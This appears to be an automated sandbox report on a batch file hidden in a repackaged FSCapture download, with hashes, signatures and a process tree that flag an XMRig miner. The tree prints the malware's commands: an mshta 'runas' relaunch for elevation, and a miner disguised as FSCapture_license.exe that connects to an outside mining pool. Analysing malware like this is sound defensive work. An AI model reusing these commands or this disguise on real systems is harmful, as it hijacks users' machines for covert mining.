Analysis

  • max time kernel
    142s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/11/2024, 04:46

General

  • Target

    FSCapture-10.5-CN/bin/re/lib/CrashReporting.bat

  • Size

    297B

  • MD5

    e6dbc17aa2a36550f8270f32a098a798

  • SHA1

    66f251fa6ef24baa8cb7e31aa656d462847239cd

  • SHA256

    0e0878dcfc98f47a14e9eca075fdd1c2dcec6397f73b93c545fb26e4d6c1784f

  • SHA512

    1bb8cc733aa1051479cc22361fba56e7b5bc9eb15dea7f3f1713a51178eb1698c5aba19d2366c1475d273a30453d3d19693611d7a8be67d459b6589052fb1beb

Malware Config

Signatures

  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 14 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Kills process with taskkill 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\FSCapture-10.5-CN\bin\re\lib\CrashReporting.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1036
    • C:\Windows\system32\mshta.exe
      mshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\AppData\Local\Temp\FSCAPT~1.5-C\bin\re\lib\CRASHR~1.BAT","goto :target","","runas",1)(window.close)
      2⤵
      • Checks computer location settings
      • Access Token Manipulation: Create Process with Token
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1988
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\FSCAPT~1.5-C\bin\re\lib\CRASHR~1.BAT" goto :target
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3636
        • C:\Windows\system32\taskkill.exe
          taskkill /f /t /im FSCapture_license.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:3940
        • C:\Users\Admin\AppData\Local\Temp\FSCAPT~1.5-C\bin\re\lib\FSCapture_license.exe
          FSCapture_license.exe -o 104.168.101.23:34512 -t 7 -B -k
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4456

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/4456-2-0x0000000001080000-0x00000000010A0000-memory.dmp

          Filesize

          128KB

        • memory/4456-3-0x0000000000400000-0x0000000000E80000-memory.dmp

          Filesize

          10.5MB

        • memory/4456-4-0x0000000000400000-0x0000000000E80000-memory.dmp

          Filesize

          10.5MB

        • memory/4456-5-0x0000000000400000-0x0000000000E80000-memory.dmp

          Filesize

          10.5MB

        • memory/4456-6-0x0000000000400000-0x0000000000E80000-memory.dmp

          Filesize

          10.5MB

        • memory/4456-7-0x0000000000400000-0x0000000000E80000-memory.dmp

          Filesize

          10.5MB

        • memory/4456-8-0x0000000000400000-0x0000000000E80000-memory.dmp

          Filesize

          10.5MB

        • memory/4456-9-0x0000000000400000-0x0000000000E80000-memory.dmp

          Filesize

          10.5MB

        • memory/4456-10-0x0000000000400000-0x0000000000E80000-memory.dmp

          Filesize

          10.5MB

        • memory/4456-11-0x0000000000400000-0x0000000000E80000-memory.dmp

          Filesize

          10.5MB

        • memory/4456-12-0x0000000000400000-0x0000000000E80000-memory.dmp

          Filesize

          10.5MB

        • memory/4456-13-0x0000000000400000-0x0000000000E80000-memory.dmp

          Filesize

          10.5MB

        • memory/4456-14-0x0000000000400000-0x0000000000E80000-memory.dmp

          Filesize

          10.5MB

        • memory/4456-15-0x0000000000400000-0x0000000000E80000-memory.dmp

          Filesize

          10.5MB

        • memory/4456-16-0x0000000000400000-0x0000000000E80000-memory.dmp

          Filesize

          10.5MB